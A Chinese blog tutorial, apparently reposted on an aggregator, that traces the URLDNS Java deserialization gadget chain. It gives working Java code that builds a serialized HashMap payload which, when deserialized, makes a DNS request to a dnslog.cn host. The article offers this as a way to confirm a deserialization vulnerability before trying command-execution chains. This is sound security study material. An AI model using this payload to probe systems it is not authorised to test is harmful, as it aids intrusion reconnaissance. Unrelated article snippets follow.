当前位置: 首页 > news >正文

Java代码审计13之URLDNS链

文章目录

  • 1、简介urldns链
  • 2、hashmap与url类的分析
      • 2.1、Hashmap类readObject方法的跟进
      • 2.2、URL类hashcode方法的跟进
      • 2.3、InetAddress类的getByName方法
  • 3、整个链路的分析
      • 3.1、整理上述的思路
      • 3.2、一些疑问的测试
      • 3.3、hashmap的put方法分析
      • 3.4、反射
      • 3.5、整个代码
  • 4、补充说明

1、简介urldns链

URLDNS链是java原生态的一条利用链,通常用于存在反序列化漏洞进行验证的,因为是原生态,不存在什么版本限制。HashMap结合URL触发DNS检查的思路。在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行。之后再用各种gadget去尝试试RCE。HashMap最早出现在JDK 1.2中,底层基于散列算法实现。而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的。所以对于同一个Key,在不同的JVM实现中计算得出的Hash值可能是不同的。因此,HashMap实现了自己的writeObject和readObject方法。因为是研究反序列化问题,所以我们来看一下它的readObject方法

2、hashmap与url类的分析

2.1、Hashmap类readObject方法的跟进

新建一个文件,写一个Hashmap,跟进去,

在这里插入图片描述

找到Hashmap的readObject方法,该方法会在Hashmap类反序列化的时候自动调用,之前我们反序列化漏洞的demo代码就是重写这个类造成的,

在这里插入图片描述

继续向下,有一个hash(key)方法,先不管这个“key”,跟进去看看hash方法的内容,

在这里插入图片描述

从这个参数定义,可以知道这个key是一个对象,当key不为空的情况下,就会调用key这个对象的hashcode方法,所以这个hashcode函数具体是哪个函数,取决于传入哪个对象

在这里插入图片描述

这里小结下先,Hashmap.readObject	--	HashMap.hash	--	传入对象得.hashCode

2.2、URL类hashcode方法的跟进

继续新建一个url类,跟进去,也有一个hashcode方法,看下内容

在这里插入图片描述

当hashcode不等于 -1 的时候,直接返回hashcode的值,结束本函数,跟一下hashcode变量,发现其默认值为“-1”也就是,默认情况下会继续向下执行,不会直接返回hashcode的值,

这里比较重要,敲黑板

在这里插入图片描述

我们继续看下855行的代码“hashCode(this)”看到这个“this”是一个url,而359行的getHostAddress函数要去解析这个url,

在这里插入图片描述

继续跟进去看下,这个主要就是调用了InetAddress类的getByName方法,InetAddress类的getByName方法的作用是,传入host解析IP,返回ip传入ip,则返回Ip

在这里插入图片描述

这里继续小结下,URL.hashcode	--	URLStreamHandler.hashCode	-->	-->  URLStreamHandler.getHostAddress	--	InetAddress.getByName

2.3、InetAddress类的getByName方法

我们来一个InetAddress类的getByName方法的demo

在这里插入图片描述

当我们不传递域名,而是直接传递IP呢看到是直接返回了IP

在这里插入图片描述

继续,传一个错误的IP,会直接报错,

在这里插入图片描述
小结,

传入域名会解析其对应的IP,我们可以在dns的解析记录找到,但是假设传入是IP,则没有地方可以找到受害者的解析记录(这里各位有看法,欢迎补充)

代码,

package com.example.demo2;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.InetAddress;
import java.net.UnknownHostException;
public class main {public static void main(String[] args) throws Exception {try {InetAddress address = InetAddress.getByName("www.baidu.com");System.out.println("IP地址: " + address.getHostAddress());} catch (UnknownHostException e) {e.printStackTrace();}

3、整个链路的分析

3.1、整理上述的思路

由上面总结就可以知道,Hashmap类在反序列化的时候,会调用传入对象的hashcode方法。而url类的hashcode方法会解析dns对应的IP;所以整个链接就是,
Hashmap.readObject	--	HashMap.hash	-->--> URL.hashcode(传入对象)  -->	URLStreamHandler.hashCode	-->--> URLStreamHandler.getHostAddress	--	InetAddress.getByName
由上面的结果推导出,最常见的触发demo代码,
    package com.example.demo2;import java.net.MalformedURLException;import java.net.URL;import java.util.HashMap;public class dns_hashmap {public static void main(String[] args) throws MalformedURLException {HashMap<URL,Integer> hashmap = new HashMap<>();URL url = new URL("http://dd.l3eqkh.dnslog.cn/aa");System.out.println(url);System.out.println(url.getClass());hashmap.put(url,2);}}
根据上边的“2.3得”分析,我们知道传入ip的话,会直接返回ip,不会请求,传入域名的话,会有一个请求域名解析对应IP的情况;这个demo代码也测试了下,情况和上边的一样(这也有点多余,本质上层也是调用的底层;但是觉得还是有可能,还是试了试)

3.2、一些疑问的测试

这里还一个疑问是,10行的url是什么类型,他的值是什么,经过输出,这个url是一个类,其值就是一个“字符串”,但是不能直接在put方法的第一个参数传入一个字符串,原因在右边的图,这个key的值是Object类型的(Object是Java所有类的根类;class java.net.URL可以说是其子类)假设传入的url是一个字符串会直接报错,这就不演示了

在这里插入图片描述

3.3、hashmap的put方法分析

简单的跟一下就明白,这个key就是上边的url类,内容是定义url类构造方法定义的url到下图的339行,就调用了url的hashcode方法,进而会解析传入域名对应的ip,

在这里插入图片描述

3.4、反射

一个问题是,我们在序列化的过程中,会因为执行put方法,进而去解析一边域名对应的ip,这样后续的反序列化就不会再次触发解析请求了(会直接读取序列化过程的缓存)

ps:

其实不用反序列化,下边的demo代码,多次执行的化,也仅仅在第一次有请求,原因同上。

在这里插入图片描述
代码,

    package com.example.demo2;import java.io.FileNotFoundException;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.net.MalformedURLException;import java.net.URL;import java.util.HashMap;public class dns_hashmap {public static void main(String[] args) throws IOException {HashMap<URL,Integer> hashmap = new HashMap<>();URL url = new URL("http://ee11.n5hfdu.dnslog.cn/aa");System.out.println(url);System.out.println(url.getClass());hashmap.put(url,2);Serialize(hashmap);}private static void Serialize(Object obj) throws IOException {ObjectOutputStream InputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));InputStream.writeObject(obj);InputStream.close();}}
为了不让java程序在序列化的过程去解析域名,仅仅在反序列化的时候解析,我们可以通过反射技术来实现。具体而言,就是在上述“2.2”的分析中,我们说“当hashcode不等于 -1 的时候,直接返回hashcode的值”不会继续向下执行域名解析而hashcode默认又是-1,所以可以通过反射给hashcode变量设置一个不为“-1”的任意值,即可让代码在序列化的时候,不继续执行域名的解析。

具体代码如下:

            HashMap<URL,Integer> hashmap =new HashMap<>();URL url = new URL("http://a.9v0wib.dnslog.cn");Class c = url.getClass();、、获取URL类,这里是根据已经实例化的url对象获取,保存到c中。、、具体来说,c是URL类的Class对象。Field fieldhashcode=c.getDeclaredField("hashCode");、、获取url类中对应的hashcode函数,保存到fieldhashcode中。、、具体来说,fieldhashcode是一个Field对象,它代表了URL类中名为"hashCode"的字段fieldhashcode.setAccessible(true);、、需要修改的hashcode变量是私有的(默认不可访问),设置Field对象的可访问性为true,就可以修改了fieldhashcode.set(url,222);         、、将hashcode的值由默认的“-1”改为任意值,这里是222、、这样第一次运行的时候,就不会解析传入域名的ip了hashmap.put(url,2);、、正常需要触发的函数,fieldhashcode.set(url,-1);、、在反序列化之前,在次将上边修改的hashcode值恢复默认,让其在反序列化时再次触发域名解析Serialize(hashmap);

3.5、整个代码

先把24行的反序列化注释,第一次运行就是序列化生成“ser.txt”文件;此时不会产生dns记录,再把12~22注释,24行反序列化解开,第二次运行,反序列化执行,解析域名产生记录,
    package com.example.demo2;import java.io.*;import java.lang.reflect.Field;import java.net.MalformedURLException;import java.net.URL;import java.util.HashMap;public class dns_hashmap {public static void main(String[] args) throws Exception {HashMap<URL,Integer> hashmap =new HashMap<>();URL url = new URL("http://a.9v0wib.dnslog.cn");Class c = url.getClass();Field fieldhashcode=c.getDeclaredField("hashCode");fieldhashcode.setAccessible(true);fieldhashcode.set(url,222);         //第一次查询的时候会进行缓存,所以让它不等于-1hashmap.put(url,2);fieldhashcode.set(url,-1);          //让它等于-1 就是在反序列化的时候等于-1 执行dns查询Serialize(hashmap);//            unserialize();}private static void Serialize(Object obj) throws IOException {ObjectOutputStream InputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));InputStream.writeObject(obj);InputStream.close();}public static void unserialize() throws IOException, ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.txt"));ois.readObject();ois.close();}}

4、补充说明

URLDNS是ysoserial中一个利用链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。但是它有以下优点:使用Java内置的类构造,对第三方库没有依赖在目标没有回显的时候,能够通过DNS来判断是否存在反序列化漏洞我们可以通过这条链很容易判断是否存在反序列化漏洞,然后再去寻找可以命令执行的利用链

相关文章:

Java代码审计13之URLDNS链

文章目录 1、简介urldns链2、hashmap与url类的分析2.1、Hashmap类readObject方法的跟进2.2、URL类hashcode方法的跟进2.3、InetAddress类的getByName方法 3、整个链路的分析3.1、整理上述的思路3.2、一些疑问的测试3.3、hashmap的put方法分析3.4、反射3.5、整个代码 4、补充说明…...

区间预测 | MATLAB实现QRBiGRU双向门控循环单元分位数回归时间序列区间预测

区间预测 | MATLAB实现QRBiGRU双向门控循环单元分位数回归时间序列区间预测 目录 区间预测 | MATLAB实现QRBiGRU双向门控循环单元分位数回归时间序列区间预测效果一览基本介绍模型描述程序设计参考资料 效果一览 基本介绍 MATLAB实现QRBiGRU双向门控循环单元分位数回归时间序列…...

Python面向对象植物大战僵尸

先来一波效果图 来看看如何设计游戏架构 import sysimport pygameclass BaseSprite(pygame.sprite.Sprite):def __init__(self, name):super().__init__()self.image pygame.image.load(name)self.rect self.image.get_rect()class AnimateSprite(BaseSprite):def __init__(…...

大屏模板,增加自适应(包含websocket)

1、简单的Node服务端 const WebSocket require(ws);// 创建 WebSocket 服务器 const wss new WebSocket.Server({ port: 8888 });const getHeader (protocol) > {const protocolArr protocol.split(,)const headers {};for (let i 0; i < protocolArr.length; i …...

电商系统架构设计系列(九):如何规划和设计分库分表?

上篇文章中&#xff0c;我给你留了一个思考题&#xff1a;分库分表该如何设计&#xff1f; 今天这篇文章&#xff0c;我们来聊一下如何规划和设计分库分表&#xff0c;以及要考虑哪些问题。 引言 当要解决海量数据的问题&#xff0c;就必须要用到分布式的存储集群了&#xff…...

从Web 2.0到Web 3.0,互联网有哪些变革?

文章目录 Web 2.0时代&#xff1a;用户参与和社交互动Web 3.0时代&#xff1a;语义化和智能化影响和展望 &#x1f389;欢迎来到Java学习路线专栏~从Web 2.0到Web 3.0&#xff0c;互联网有哪些变革&#xff1f; ☆* o(≧▽≦)o *☆嗨~我是IT陈寒&#x1f379;✨博客主页&#x…...

QT中资源文件resourcefile的使用,使用API完成页面布局

QT中资源文件resourcefile的使用 之前添加图标的方法使用资源文件的方法创建资源文件资源文件添加前缀资源文件添加资源使用资源文件中的资源 使用API完成布局使用QHBoxLayout完成水平布局使用QVBoxLayout完成垂直布局使用QGridLayout完成网格布局 在Qt中引入资源文件好处在于他…...

2337. 移动片段得到字符串

题目描述&#xff1a; 给你两个字符串 start 和 target &#xff0c;长度均为 n 。每个字符串 仅 由字符 ‘L’、‘R’ 和 ‘_’ 组成&#xff0c;其中&#xff1a; 字符 ‘L’ 和 ‘R’ 表示片段&#xff0c;其中片段 ‘L’ 只有在其左侧直接存在一个 空位 时才能向 左 移动&a…...

Java并发编程第5讲——volatile关键字(万字详解)

volatile关键字大家并不陌生&#xff0c;尤其是在面试的时候&#xff0c;它被称为“轻量级的synchronized”。但是它并不容易完全被正确的理解&#xff0c;以至于很多程序员都不习惯去用它&#xff0c;处理并发问题的时候一律使用“万能”的sychronized来解决&#xff0c;然而如…...

6.小程序api分类

事件监听 以on开头&#xff0c;监听某个事件触发&#xff0c;例如&#xff1a;wx.WindowResize事件 同步 以Sync结尾的是同步&#xff0c;可以通过函数返回值直接获取&#xff0c;例如&#xff1a;wx.setStorageSync 异步 需要通过函数接收调用结果&#xff0c;例如&#…...

什么是PPS和TOD时序?授时防护设备是什么?

介绍 PPS和TOD PPS和TOD是两种用于精确时间同步的技术&#xff0c;它们在许多领域都有广泛的应用&#xff0c;总的来说&#xff0c;PPS和TOD被广泛应用于各种需要高度精确时间同步的领域&#xff0c;包括通信、测量、测试、系统集成和计算机网络等。 一、PPS PPS&#xff08…...

推荐一款好用的开源视频播放器(免费无广告)

mpv是一个自由开源的媒体播放器&#xff0c;它支持多种音频和视频格式&#xff0c;并且具有高度可定制性。mpv的设计理念是简洁、高效和功能强大。 软件特点&#xff1a; 1. 开源、跨平台。可以在Windows\Linux\MacOS\BSD等系统上使用&#xff0c;完全免费无广告。Windows版解压…...

STM32 CubeMX (第三步Freertos中断管理和软件定时)

STM32 CubeMX STM32 CubeMX &#xff08;第三步Freertos中断管理和软件定时&#xff09; STM32 CubeMX一、STM32 CubeMX设置时钟配置HAL时基选择TIM1&#xff08;不要选择滴答定时器&#xff1b;滴答定时器留给OS系统做时基&#xff09;使用STM32 CubeMX 库&#xff0c;配置Fre…...

Java虚拟机(JVM):堆溢出

一、概念 Java堆溢出&#xff08;Java Heap Overflow&#xff09;是指在Java程序中&#xff0c;当创建对象时&#xff0c;无法分配足够的内存空间来存储对象&#xff0c;导致堆内存溢出的情况。 Java堆是Java虚拟机中用于存储对象的一块内存区域。当程序创建对象时&#xff0c…...

C语言,Linux,静态库编写方法,makefile与shell脚本的关系。

静态库编写&#xff1a; 编写.o文件gcc -c(小写) seqlist.c(需要和头文件、main.c文件在同一文件目录下) libs.a->去掉lib与.a剩下的为库的名称‘s’。 -ls是指库名为s。 -L库的路径。 makefile文件编写&#xff1a; CFLAGS-Wall -O2 -g -I ./inc/ LDFLAGS-L./lib/ -l…...

Php“牵手”淘宝商品详情页数据采集方法,淘宝API接口申请指南

淘宝天猫详情接口 API 是开放平台提供的一种 API 接口&#xff0c;它可以帮助开发者获取商品的详细信息&#xff0c;包括商品的标题、描述、图片等信息。在电商平台的开发中&#xff0c;详情接口API是非常常用的 API&#xff0c;因此本文将详细介绍详情接口 API 的使用。 一、…...

如何使用CSS实现一个全屏滚动效果(Fullpage Scroll)?

聚沙成塔每天进步一点点 ⭐ 专栏简介⭐ 实现全屏滚动效果的CSS和JavaScript示例⭐ HTML 结构⭐ CSS 样式 (styles.css)⭐ JavaScript 代码 (script.js)⭐ 实现说明⭐ 写在最后 ⭐ 专栏简介 前端入门之旅&#xff1a;探索Web开发的奇妙世界 记得点击上方或者右侧链接订阅本专栏哦…...

Docker之Compose

目录 前言 1.1Docker Swarm与Docker Compose 1.1.1Docker Swarm 1.1.2Docker Compose 1.1.2.1 三层容器 ​编辑 二、YAML 2.1YAML概述 2.2注意事项 2.3Docker Compose 环境安装 2.3.1下载 三、Docker-Compose配置常用字段 四、Docker-compose常用命令 五、Docker…...

安装chromedriver 115,对应chrome版本115(经检验,116也可以使用)

目录 1. 查看Chrome浏览器的版本2. 找到对应的chromedriver3. 安装ChromeDriver 1. 查看Chrome浏览器的版本 点进这个网站查看&#xff1a;chrome://settings/help &#xff08;真是的&#xff0c;上一秒还是115版本&#xff0c;更新后就是116版本了&#xff0c;好在chromedi…...

排序算法:插入排序

插入排序的思想非常简单&#xff0c;生活中有一个很常见的场景&#xff1a;在打扑克牌时&#xff0c;我们一边抓牌一边给扑克牌排序&#xff0c;每次摸一张牌&#xff0c;就将它插入手上已有的牌中合适的位置&#xff0c;逐渐完成整个排序。 插入排序有两种写法&#xff1a; 交…...

XCTF-web-easyupload

试了试php&#xff0c;php7&#xff0c;pht&#xff0c;phtml等&#xff0c;都没有用 尝试.user.ini 抓包修改将.user.ini修改为jpg图片 在上传一个123.jpg 用蚁剑连接&#xff0c;得到flag...

java 实现excel文件转pdf | 无水印 | 无限制

文章目录 目录 文章目录 前言 1.项目远程仓库配置 2.pom文件引入相关依赖 3.代码破解 二、Excel转PDF 1.代码实现 2.Aspose.License.xml 授权文件 总结 前言 java处理excel转pdf一直没找到什么好用的免费jar包工具,自己手写的难度,恐怕高级程序员花费一年的事件,也…...

[10-3]软件I2C读写MPU6050 江协科技学习笔记(16个知识点)

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16...

数据链路层的主要功能是什么

数据链路层&#xff08;OSI模型第2层&#xff09;的核心功能是在相邻网络节点&#xff08;如交换机、主机&#xff09;间提供可靠的数据帧传输服务&#xff0c;主要职责包括&#xff1a; &#x1f511; 核心功能详解&#xff1a; 帧封装与解封装 封装&#xff1a; 将网络层下发…...

【git】把本地更改提交远程新分支feature_g

创建并切换新分支 git checkout -b feature_g 添加并提交更改 git add . git commit -m “实现图片上传功能” 推送到远程 git push -u origin feature_g...

前端开发面试题总结-JavaScript篇(一)

文章目录 JavaScript高频问答一、作用域与闭包1.什么是闭包&#xff08;Closure&#xff09;&#xff1f;闭包有什么应用场景和潜在问题&#xff1f;2.解释 JavaScript 的作用域链&#xff08;Scope Chain&#xff09; 二、原型与继承3.原型链是什么&#xff1f;如何实现继承&a…...

QT: `long long` 类型转换为 `QString` 2025.6.5

在 Qt 中&#xff0c;将 long long 类型转换为 QString 可以通过以下两种常用方法实现&#xff1a; 方法 1&#xff1a;使用 QString::number() 直接调用 QString 的静态方法 number()&#xff0c;将数值转换为字符串&#xff1a; long long value 1234567890123456789LL; …...

关键领域软件测试的突围之路:如何破解安全与效率的平衡难题

在数字化浪潮席卷全球的今天&#xff0c;软件系统已成为国家关键领域的核心战斗力。不同于普通商业软件&#xff0c;这些承载着国家安全使命的软件系统面临着前所未有的质量挑战——如何在确保绝对安全的前提下&#xff0c;实现高效测试与快速迭代&#xff1f;这一命题正考验着…...

springboot整合VUE之在线教育管理系统简介

可以学习到的技能 学会常用技术栈的使用 独立开发项目 学会前端的开发流程 学会后端的开发流程 学会数据库的设计 学会前后端接口调用方式 学会多模块之间的关联 学会数据的处理 适用人群 在校学生&#xff0c;小白用户&#xff0c;想学习知识的 有点基础&#xff0c;想要通过项…...

第7篇:中间件全链路监控与 SQL 性能分析实践

7.1 章节导读 在构建数据库中间件的过程中&#xff0c;可观测性 和 性能分析 是保障系统稳定性与可维护性的核心能力。 特别是在复杂分布式场景中&#xff0c;必须做到&#xff1a; &#x1f50d; 追踪每一条 SQL 的生命周期&#xff08;从入口到数据库执行&#xff09;&#…...